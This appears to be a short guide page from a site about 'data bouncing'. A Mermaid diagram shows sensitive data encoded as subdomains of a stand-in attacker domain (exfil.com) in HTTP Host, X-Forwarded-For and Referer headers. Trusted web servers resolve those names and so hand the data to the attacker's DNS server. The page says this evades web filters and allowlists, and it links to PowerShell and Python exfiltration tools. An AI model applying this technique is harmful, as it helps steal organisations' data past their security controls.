Web Headers (HLD)

  • @site.url: https://databouncing.io
  • path: /webheadershld/
  • excerpt: Mermaid Diagram Journey of Databouncing with HTTP Web Headers via trusted web servers and ultimately handed over to the exfil DNS
  • published date:
  • reading time: 1 minute
  • tag: Guides
  • authors: JC

This Mermaid Diagram gives you a visualization of the journey of carefully positioned exfildata on it's way to an informed listener, the headers are examples but we've found Host headers being the most popular, others work, and you should find them, but these are the top few.

sequenceDiagram participant Client as Exfil System participant WebServer as Trusted Webservers participant DNS as DNS Server - Exfil Collect Client->>WebServer: HTTP Requests to high-integrity domains Note left of WebServer: Headers: Host: secretmessage1.exfil.com Note left of WebServer: Headers: X-Forward-For: secretmessage2.exfil.com Note left of WebServer: Headers: Referer: secretmessage3.exfil.com Note right of WebServer: Incoming HTTP requests delivered to trusted webserver, containing sensitive exfiltrated data in headers Note right of WebServer: Headers: Host: secretmessage1.exfil.com Note right of WebServer: Headers: X-Forward-For: secretmessage2.exfil.com Note right of WebServer: Headers: Referer: secretmessage3.exfil.com WebServer-->>Client: HTTP Response Note right of WebServer: Confirms receipt of HTTP request with sensitive data in the headers alt Hostname Lookup Solicitation WebServer->>DNS: Lookup secretmessage1.exfil.com Note right of DNS: Exfiltration Data Received (Hostname: secretmessage1.exfil.com) DNS-->>WebServer: IP for secretmessage1.exfil.com Note right of WebServer: Received IP address corresponding to secretmessage1.exfil.com WebServer->>DNS: Lookup secretmessage2.exfil.com Note right of DNS: Exfiltration Data Received (Hostname: secretmessage2.exfil.com) DNS-->>WebServer: IP for secretmessage2.exfil.com Note right of WebServer: Received IP address corresponding to secretmessage2.exfil.com WebServer->>DNS: Lookup secretmessage3.exfil.com Note right of DNS: Exfiltration Data Received (Hostname: secretmessage3.exfil.com) DNS-->>WebServer: IP for secretmessage3.exfil.com Note right of WebServer: Received IP address corresponding to secretmessage3.exfil.com end WebServer-->>Client: DNS Resolution Complete Note right of WebServer: Web server returns the final HTTP response to the client, confirming successful hostname lookups

So, If you imagine the high integrity domains being something like Microsoft, or your defense provider, or analytics, or even just an associated domain that's been seen in your DNS TXT records, or is a known service provider to your organization, this is more than enough for most web filtering systems, and allowlists.

More on this topic

Surgeon Script

  • date published:
  • reading-time: 3 min read
  • authors:
Working with specific parameters within web requests to Databounce

Data Bouncing With Jakoby

  • date published:
  • reading-time: 2 min read
  • authors:
Data Bouncing - PowerShell Version via Jakoby (Unit-259) - this version uses Hex in the hostname and defaults to a public interactsh (so you dont need your own DNS listener)

Identifying Candidates

  • date published:
  • reading-time: 2 min read
  • authors:
Example One is a glimpse into what is needed to identify DataBouncing Candidates Recruiter - Send stuff Interactsh - Listen for stuff Target List - Stuff to be sent

Bouncing with Nick Dunn

  • date published:
  • reading-time: 2 min read
  • authors:
When we where conceptualizing data bouncing, Nick rolled his sleeves top and put together the first set of reliable python tools to get data out and rebuilt via databouncing, this is achieved over four scripts - https://github.com/N1ckDunn/DataBouncing/tree/main